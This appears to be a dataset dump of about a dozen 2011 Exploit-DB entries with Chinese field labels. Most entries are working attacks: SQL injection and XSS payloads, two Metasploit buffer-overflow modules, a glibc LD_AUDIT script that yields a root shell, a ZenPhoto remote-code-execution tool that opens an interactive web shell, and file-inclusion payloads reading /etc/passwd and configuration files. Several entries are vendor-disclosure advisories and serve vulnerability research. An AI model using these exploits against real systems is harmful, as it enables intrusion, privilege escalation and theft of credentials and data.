QLWD/code_shield huggingface dataset:
标题: Pixie CMS 1.01 < 1.04 - Blind SQL Injections EDB-ID: 18115 CVE: 2011-4710 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-14 漏洞利用脚本: Exploit Title: Pixie CMS 1.01 - 1.04 "pixie_user" Blind SQL Injection
Google Dork: None
Date: 11/14/2011
Author: Piranha, piranha[at]torontomail.com
Software Link: http://www.getpixie.co.uk/
Version: 1.01 - 1.04
Tested on: Windows XP SP3, Pixie versions: 1.01 - 1.04
CVE : None

Example request:
GET http://localhost:8080/pixie_v1.04/?pixie_user=x',log_important=IF({CONDITION},SLEEP(5),NULL),log_id='1234
Host: localhost:8080
Referer: http://www.google.com/
Pragma: no-cache
Cache-Control: no-cache
Connection: Keep-Alive

If the condition is true then you have a response with timeout ~5 seconds. Notice that referer is required.

Exploit Title: Pixie CMS 1.01 - 1.04 "Referer" Blind SQL Injection
Google Dork: None
Date: 11/14/2011
Author: Piranha
Software Link: http://www.getpixie.co.uk/
Version: 1.01 - 1.04
Tested on: Windows XP SP3, Pixie versions: 1.01 - 1.04
CVE : None

Example request:
GET http://localhost:8080/pixie_v1.04/
Host: localhost:8080
Referer: http://www.google.com',log_important=IF({CONDITION},SLEEP(5),NULL),log_id='1234
Pragma: no-cache
Cache-Control: no-cache
Connection: Keep-Alive

If the condition is true then you have a response with timeout ~5 seconds. URL: https://www.exploit-db.com/exploits/18115
标题: Mini-stream RM-MP3 Converter 3.1.2.1 - '.pls' Local Stack Buffer Overflow (Metasploit) EDB-ID: 18113 CVE: 2010-5081 类型: LOCAL 平台: WINDOWS 发布日期: 2011-11-14 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Mini-Stream RM-MP3 Converter v3.1.2.1 (PLS File) Stack Buffer Overflow',
   'Description'    => %q{ 
    This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3
    Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim 
    opens the malicious PLS file.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Madjix',           # original discovery
     'Tiago Henriques',  # metasploit module
     'James Fitts'       # clean ups
    ],
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/14373/' ],
     [ 'BID', '34514' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space' => 1500,
     'BadChars' => "\x00\x09\x0a",
     'DisableNops' => 'True',
     'StackAdjustment' => -3500,
     'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
     'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ECX',
      },
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [
      'Mini-stream RM-MP3 Converter v3.1.2.1.2010.03.30',
      {
       'Ret' => 0x100371f5, # call esp in MSRMfilter03.dll
       'Offset' => 17417
      } 
     ]
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jul 16 2010',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'msf.pls']),
    ], self.class)
 end

 def exploit

  pls =  "http://"
  pls << rand_text_alpha_upper(target['Offset'])
  pls << [target.ret].pack('V')
  pls << rand_text_alpha_upper(8)
  pls << payload.encoded

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(pls)

 end

end URL: https://www.exploit-db.com/exploits/18113
标题: labwiki 1.1 - Multiple Vulnerabilities EDB-ID: 18100 CVE: 2011-4334 2011-4333 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-09 漏洞利用脚本: ------------------------------------------------------------------------
LabWiki <= 1.1 Multiple Vulnerabilities
------------------------------------------------------------------------
     
author............: muuratsalo (Revshell.com)
contact...........: muuratsalo[at]gmail[dot]com
download..........: http://www.bioinformatics.org/phplabware/labwiki/index.php
    
     
[0x01] Vulnerability overview:

All versions of LabWiki <= 1.1 are affected by multiple vulnerabilities.

     
[0x02] Disclosure timeline:
     
[08/11/2011] - Multiple vulnerabilities discovered and reported to the vendor.
[08/11/2011] - The vendor confirmed the vulnerabilities and he is working on fixing the reported issues.
[09/11/2011] - Public Disclosure


[0x03] Vulnerabilities:

-- Shell Upload Vulnerability --
The upload script /edit.php improperly checks the filetype of uploaded images.
A 'shell.php.gif' is accepted.  /* -- note that access to edit.php could be restricted -- */

-- Multiple Cross Site Scripting Vulnerabilities --
http://localhost/LabWiki/index.php?from="></><script>alert('muuratsalo')</script>&help=true&page=What_is_wiki
http://localhost/LabWiki/recentchanges.php?nothing=nothing&page_no="></><script>alert('muuratsalo')</script> URL: https://www.exploit-db.com/exploits/18100
标题: osCSS2 - '_ID' Local file Inclusion EDB-ID: 18099 CVE: 2011-4713 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-09 漏洞利用脚本: Advisory:                osCSS2 "_ID" parameter Local file inclusion
Advisory ID:            SSCHADV2011-034
Author:                  Stefan Schurtz
Affected Software:   Successfully tested on osCSS2 2.1.0 (latest version)
Vendor URL:           http://oscss.org/
Vendor Status:        Fixed in svn branche 2.1.0 and reported in develop version 2.1.1

==========================
Vulnerability Description
==========================

osCSS2 2.1.0 "_ID" parameter is prone to a LFI vulnerability

==========================
Vulnerable code
==========================

//.htaccess
RewriteRule ^shopping_cart.php(.{0,})$ content.php?_ID=shopping_cart.php&%{QUERY_STRING}

//content.php
require($page->path_gabarit());

// includes/classes/page.php
public function pile_file_lang($path_file){
    global $lang;
    if(substr($path_file,0,strlen(DIR_FS_CATALOG)) !=DIR_FS_CATALOG) $path_file= DIR_FS_CATALOG.$path_file;

if(!in_array($path_file,(array)$this->PileFileLang))
      include_once($path_file);
}

==================
PoC-Exploit
==================

http://<target>/catalog/shopping_cart.php?_ID=../../../../../../../../../../../etc/passwd
http://<target>/catalog/content.php?_ID=../../../../../../../../../../../etc/passwd

=========
Solution
=========

Fixed in svn branche 2.1.0 and reported in develop version 2.1.1

====================
Disclosure Timeline
====================

08-Nov-2011 - informed vendor
08-Nov-2011  release date of this security advisory

========
Credits
========

Vulnerability found and advisory written by Stefan Schurtz.

===========
References
===========

http://oscss.org/
http://forums.oscss.org/2-security/oscss2-id-parameter-local-file-inclusion-t1999.html
http://dev.oscss.org/task/892
http://www.rul3z.de/advisories/SSCHADV2011-034.txt URL: https://www.exploit-db.com/exploits/18099
标题: glibc - 'LD_AUDIT' Arbitrary DSO Load Privilege Escalation EDB-ID: 18105 CVE: 2010-3856 类型: LOCAL 平台: LINUX 发布日期: 2011-11-10 漏洞利用脚本: #!/bin/sh

            #######################################################
            #       I Can't Read and I Won't Race You Either      #
            #                      by zx2c4                       #
            #######################################################

################################################################################
# This is an exploit for CVE-2010-3856.
#
# A while back, Tavis showed us three ways to exploit flaws in glibc's dynamic
# linker involving LD_AUDIT. [1] [2]
#
# The first way involved opening a file descriptor and using fexecve to easily
# win a race with $ORIGIN. The problem was that this required having read
# permissions on the SUID executables. Tavis recommended a work around involving
# filling a pipe until it was full so that anything written to stderr would
# block. This race, however, was not always successful. The third thing he
# showed us was that LD_AUDIT would load any trusted library, and he pointed out
# that libpcprofile.so could be jiggered to create a world writable root owned
# file in any directory. One candidate would be to write something to a crontab.
# What if, however, you don't have cron installed? He then went on to explain a
# quite extensive search routine to find candidates for libraries to load.
#
# But why search, when you already can make a world writable root owned file in
# any directory you want? The easier way is to use libpcprofile.so to create
# such a file, and then fill that file with code you want to run. Then, run that
# code using the same trick. Pretty simple, and it works.
#
# - zx2c4
# 2011-11-9
#
# greets to taviso.
#
# [1] http://seclists.org/fulldisclosure/2010/Oct/257
# [2] http://seclists.org/bugtraq/2010/Oct/200
################################################################################

echo "[+] Setting umask to 0 so we have world writable files."
umask 0

echo "[+] Preparing binary payload."
cat > /tmp/payload.c <<_EOF
void __attribute__((constructor)) init()
{
 printf("[+] Cleaning up.\n");
 unlink("/lib/libexploit.so");

 printf("[+] Launching shell.\n");
 setuid(0);
 setgid(0);
 setenv("HISTFILE", "/dev/null", 1);
 execl("/bin/sh", "/bin/sh", "-i", 0);
}
_EOF
gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c

echo "[+] Writing root owned world readable file in /lib"
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/lib/libexploit.so" ping 2>/dev/null

echo "[+] Filling the lib file with lib contents."
cat /tmp/exploit > /lib/libexploit.so
rm /tmp/payload.c /tmp/exploit

echo "[+] Executing payload."
LD_AUDIT="libexploit.so" ping URL: https://www.exploit-db.com/exploits/18105
标题: OrderSys 1.6.4 - SQL Injection EDB-ID: 18091 CVE: 2011-5183 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-07 漏洞利用脚本: ------------------------------------------------------------------------
     OrderSys <= 1.6.4 Sql Injection Vulnerabilities
     ------------------------------------------------------------------------
     
     author............: muuratsalo (Revshell.com)
     contact...........: muuratsalo[at]gmail[dot]com
     download..........: http://www.bioinformatics.org/phplabware/labwiki/index.php
    
     
     [0x01] Vulnerability overview:

     All versions of OrderSys <= 1.6.4 are affected by Sql injection vulnerabilities.
     A valid account could be required to exploit the vulnerabilities.
     
     [0x02] Disclosure timeline:
     
     [04/11/2011] - Multiple sql injection vulnerabilities discovered and reported to the vendor
     [05/11/2011] - Multiple sql injection vulnerabilities fixed, OrderSys 1.6.4 released. 
            [05/11/2011] - OrderSys 1.6.4 is still vulnerable to some sql injection vulnerabilities.
     [05/11/2011] - The vendor is currently working on fixing the reported issues.
     [06/11/2011] - Public disclosure

     [0x03] Proof of Concept:
              
            http://localhost/ordersys/ordering/interface_creator/index.php?table_name=vendor&function=search&where_clause=[SQL INJECTION]&page=0&order=Address&order_type=ASC
            http://localhost/ordersys/ordering/interface_creator/index_long.php?table_name=vendor&function=search&where_clause=[SQL INJECTION]&page=0&order=Address&order_type=ASC
            http://localhost/ordersys/ordering/interface_creator/index_short.php?table_name=vendor&function=search&where_clause=[SQL INJECTION]&page=0&order=Address&order_type=ASC URL: https://www.exploit-db.com/exploits/18091
标题: WHMCompleteSolution 3.x/4.x - Multiple Vulnerabilities EDB-ID: 18088 CVE: 2011-4810 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-07 漏洞利用脚本: $b0x#  WHMCS ( WHMCompleteSolution )  3.x / 4.x  Multiple Vulnerability !
$b0x#  ZxH-Labs
$b0x#  1st-NOV-11
$b0x#  Www.Sec4ever.coM 
$b0x#  WH-03 On Windows IIS 6.0

========================================================
b0x@1337b0x:/b0x/Exploits/WebAPP# whoami
ZxH-Labs | Www.Sec4ever.coM
b0x@1337b0x:/b0x/Exploits/WebAPP# cat WH-03.XPL

EXPL Type : Local File Disclosure
              
Files : Submitticket.php , Downloads.php

       -> I: submitticket.php?step=[Unknown Value]&templatefile=../../../../../../../../../boot.ini%00
             EX : submitticket.php?step=b0x&templatefile=../../../../../../../../../boot.ini%00

       ->II: downloads.php?action=[Unknown Value]&templatefile=../../../../../../../../../boot.ini%00
            EX : downloads.php?action=b0x&templatefile=../../../../../../../../../boot.ini%00


b0x@1337b0x:/b0x/Exploits/WebAPP#
b0x@1337b0x:/b0x/Exploits/WebAPP#  cat WH-03.bug

Bug TYPE : Local File Include
Bug File : Reports.php

             -I : reports.php?report=[LFI]%00
                EX : admin/reports.php?report=../../../../../../../boot.ini%00
           
               You Can Use This Bug When You Get Forbidden Access In Lux Symlink !
            However You Can Make Stealer into "/tmp" Directory With EXT .htm And The Full ISSUE Will Be
                  -FI : admin/reports.php?report=../../../../../../../tmp/b0x.htm%00
              And Don't Forget To Use IFRAME With Evil Code'z =))


b0x@1337b0x:/b0x/Exploits/WebAPP# Logout
========================================================
$b0x# Greet'z 2 T0R0B0XHACKER | X-Shadow | Sec4ever |  TNT_HACKER | r1z | Tw1st3r | S4S
Cyb3r-1st | Red Virus | I-Hmx | h311 c0d3 | TacticiaN  | Th3MMA | FreeMan(LY) | Ma3stro_DZ
Mr.L4iv3  And All Q8'z 

./b0x URL: https://www.exploit-db.com/exploits/18088
标题: ZenPhoto 1.4.1.4 - 'ajax_create_folder.php' Remote Code Execution EDB-ID: 18083 CVE: 2011-4825 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-05 漏洞利用脚本: <?php

/*
    --------------------------------------------------------------------------
    Zenphoto <= 1.4.1.4 (ajax_create_folder.php) Remote Code Execution Exploit
    --------------------------------------------------------------------------
    
    author............: Egidio Romano aka EgiX
    mail..............: n0b0d13s[at]gmail[dot]com
    software link.....: http://www.zenphoto.org/
    
    +-------------------------------------------------------------------------+
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    +-------------------------------------------------------------------------+
    
    [-] Vulnerability overview:
    
    All versions of Zenphoto from 1.2.4 to 1.4.1.4 are affected by the
    vulnerability that I reported to http://www.exploit-db.com/exploits/18075/
    
    [-] Disclosure timeline:
    
    [21/10/2011] - Vulnerability discovered
    [24/10/2011] - Issue reported to http://www.zenphoto.org/trac/ticket/2005
    [31/10/2011] - Fix released with version 1.4.1.5
    [05/11/2011] - Public disclosure

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( "\n[-] No response from {$host}:80\n");

    fwrite($sock, $packet);
    return stream_get_contents($sock);
}

print "\n+-----------------------------------------------------------+";
print "\n| Zenphoto <= 1.4.1.4 Remote Code Execution Exploit by EgiX |";
print "\n+-----------------------------------------------------------+\n";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /zenphoto/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet  = "POST {$path}zp-core/zp-extensions/tiny_mce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";

http_send($host, $packet);

$packet  = "GET {$path}zp-core/zp-extensions/tiny_mce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
    print "\nzenphoto-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die("\n[-] Exploit failed!\n");
}

?> URL: https://www.exploit-db.com/exploits/18083
标题: Mini-stream Ripper 3.0.1.1 - Local Buffer Overflow (Metasploit) (3) EDB-ID: 18082 CVE: 2009-5109 类型: LOCAL 平台: WINDOWS 发布日期: 2011-11-04 漏洞利用脚本: ##
# $Id: mini_stream.rb 14155 2011-11-04 08:20:43Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow Exploit',
   'Description' => %q{
     This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1
    By creating a specially crafted pls file, an an attacker may be able
    to execute arbitrary code.
   },
   'License' => MSF_LICENSE,
   'Author' =>
    [
     'CORELAN Security Team ',
     'Ron Henry <rlh[at]ciphermonk.net>', # dijital1; Return address update
    ],
   'Version' => '$Revision: 14155 $',
   'References' =>
    [
     [ 'OSVDB', '61341' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/10745' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload' =>
    {
     'Space' => 3500,
     'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
     'StackAdjustment' => -3500
    },
   'Platform' => 'win',
   'Targets' =>
    [
     [
      'Windows XP SP3 ENG',
      {
       'Ret'    => 0x7e429353,  # 0x7e429353 JMP ESP - USER32.dll
       'Offset' => 17417
      }
     ],
     [
      'Windows XP SP2 ENG',
      {
       'Ret'    => 0x7c941eed,  # 0x7c941eed JMP ESP - SHELL32.dll
       'Offset' => 17417
      }
     ]
    ],
   'Privileged' => false,
   'DisclosureDate' => 'Dec 25 2009',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('URIPATH',  [ true,  'The URI to use for this exploit', 'msf.pls'])
   ], self.class)
 end


 def on_request_uri(cli, request)
  # Calculate the correct offset
  host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  host << ":#{datastore['SRVPORT']}/"
  offset = target['Offset'] - host.length

  # Construct our buffer
  sploit = rand_text_alpha(offset)
  sploit << [target.ret].pack('V')
  sploit << make_nops(32)
  sploit << @p

  print_status("Sending malicous payload #{cli.peerhost}:#{cli.peerport}...")
  send_response(cli, sploit, {'Content-Type'=>'application/pls+xml'})
 end

 def exploit
  @p = payload.encoded
  super
 end

end URL: https://www.exploit-db.com/exploits/18082
标题: WHMCompleteSolution (WHMCS) 3.x - 'clientarea.php' Local File Disclosure EDB-ID: 18081 CVE: 2011-4813 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-04 漏洞利用脚本: # Title      : WHMCS (clientarea.php) Local File Disclosure

# Author     : Red Virus >>>c3o@w.cn

# Product    : WHMCS ( WHMCompleteSolution )
# Vendor     : http://whmcs.com/
# Date       : 11/04/2011
# Version    : 3.X.x
# Tested on  : linux+apache
# Homepage   : www.alm3refh.com 
================================================================

 
http://localhost/[PATH]/clientarea.php?action=[wrong_value]&templatefile=[LFD]%00
 
http://localhost/[PATH]/clientarea.php?action=red&templatefile=../../configuration.php%00
 
show the page source to see Disclosure file
 

================================================================

Greetz To .
 >>> alm3refh.com - tryag.cc - joood
T3rr0rist & cyb3r-1st & i-Hmx & h311 c0d3 
infofst & virus hima & Karar aLShaMi  & all alm3refh group
ahwak2000 & reno & amr2006 & b0x & ZombiE_KsA URL: https://www.exploit-db.com/exploits/18081
标题: Ajax File and Image Manager 1.0 Final - Remote Code Execution EDB-ID: 18075 CVE: 2011-4825 类型: WEBAPPS 平台: PHP 发布日期: 2011-11-04 漏洞利用脚本: --------------------------------------------------------------------------
  Ajax File and Image Manager v1.0 Final Remote Code Execution Vulnerability
  --------------------------------------------------------------------------
  
  author...........: Egidio Romano aka EgiX
  mail.............: n0b0d13s[at]gmail[dot]com
  software link....: http://www.phpletter.com/
  
  
  [-] Vulnerability explanation:
  
  The vulnerable code is located into /ajaxfilemanager/ajax_create_folder.php:
  
  11. @ob_start();
  12. displayArray($_POST);
  13. writeInfo(@ob_get_clean());
  
  this script start the output buffering at line 11 and then call the 'displayArray'
  function that simply displays the $_POST array content with the print_r() function,
  and finally at line 13 is called the 'writeInfo' function using the current buffer
  contents as parameter (that is the $_POST array content). Now look at the 'writeInfo'
  function body defined into /ajaxfilemanager/inc/function.base.php:
  
  228. function writeInfo($data, $die = false)
  229. {
  230.   $fp = @fopen(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'data.php', 'w+');
  231.   @fwrite($fp, $data);
  232.   @fwrite($fp, "\n\n" . date('d/M/Y H:i:s') );
  233.   @fclose($fp);
  
  It writes the $data paramater into a file called 'data.php' without any check,
  so an attacker could be able to inject and execute arbitrary PHP code.
  
  
  [-] Disclosure timeline:
  
  [21/10/2011] - Vulnerability discovered
  [24/10/2011] - Issue reported via e-mail
  [25/10/2011] - Vendor replied that a fix will be released in the next version
  [04/11/2011] - Public disclosure URL: https://www.exploit-db.com/exploits/18075